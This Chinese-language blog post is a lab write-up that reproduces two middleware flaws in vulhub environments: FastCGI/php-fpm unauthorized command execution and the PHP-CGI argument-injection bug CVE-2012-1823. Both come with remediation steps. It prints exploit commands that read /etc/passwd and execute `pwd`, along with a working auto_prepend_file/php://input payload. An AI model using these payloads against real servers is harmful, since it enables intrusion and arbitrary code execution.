其他中间件漏洞
Contents
FastCGI未授权访问、任意命令执行
1、 漏洞简介及成因
服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令。
参考P牛文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
2、 漏洞复现
使用vulhub实验环境,启动实验环境。
1 | cd /vulhub/fpm |
EXP:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
在攻击机使用命令python fpm.py 192.168.237.136 /etc/passwd,观察返回结果。
由于访问非*.PHP文件,所以返回结果403。
使用命令执行一个默认存在的 php 文件。
1 | python fpm.py 192.168.237.136 /usr/local/lib/php/PEAR.php |
利用命令进行任意命令执行复现。
1 | python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `pwd`; ?>' |
3、 漏洞修复
更改默认端口
(二) PHPCGI远程代码执行
1、 漏洞简介及成因
在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行。
此漏洞影响php-5.3.12以前的版本,mod方式、fpm方式不受影响。
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
p牛讲的很详细:https://vulhub.org/#/environments/php/CVE-2012-1823/
2、 漏洞复现
cgi模式下有如下一些参数可用:
1 | -c 指定php.ini文件的位置 |
通过使用-d
指定auto_prepend_file
来制造任意文件包含漏洞,执行任意代码:auto_prepend_file
与auto_append_file
:将文件require到所有页面的顶部与底部。
空格用+
或%20
代替,=
用url编码代替。
payload:-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
使用vulhub实验环境,启动环境。
访问http://192.168.139.129:8080/index.php。
抓包,修改包。
命令成功执行。
3、 漏洞修复
三种方法:
1)升级php版本;(php-5.3.12以上版本);
2)在apache上做文章,开启url过滤,把危险的命令行参数给过滤掉,由于这种方法修补比较简单,采用比较多吧。
具体做法:
修改http.conf文件,找到
RewriteEngine on
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]
重启一下apache即可,但是要考虑到,相当于每次request就要进行一次url过滤,如果访问量大的话,可能会增加apache的负担。
3)打上php补丁。
补丁下载地址:https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
Author: Shu1L
Link: https://shu1l.github.io/2020/04/03/qi-ta-zhong-jian-jian-lou-dong/
License: 知识共享署名-非商业性使用 4.0 国际许可协议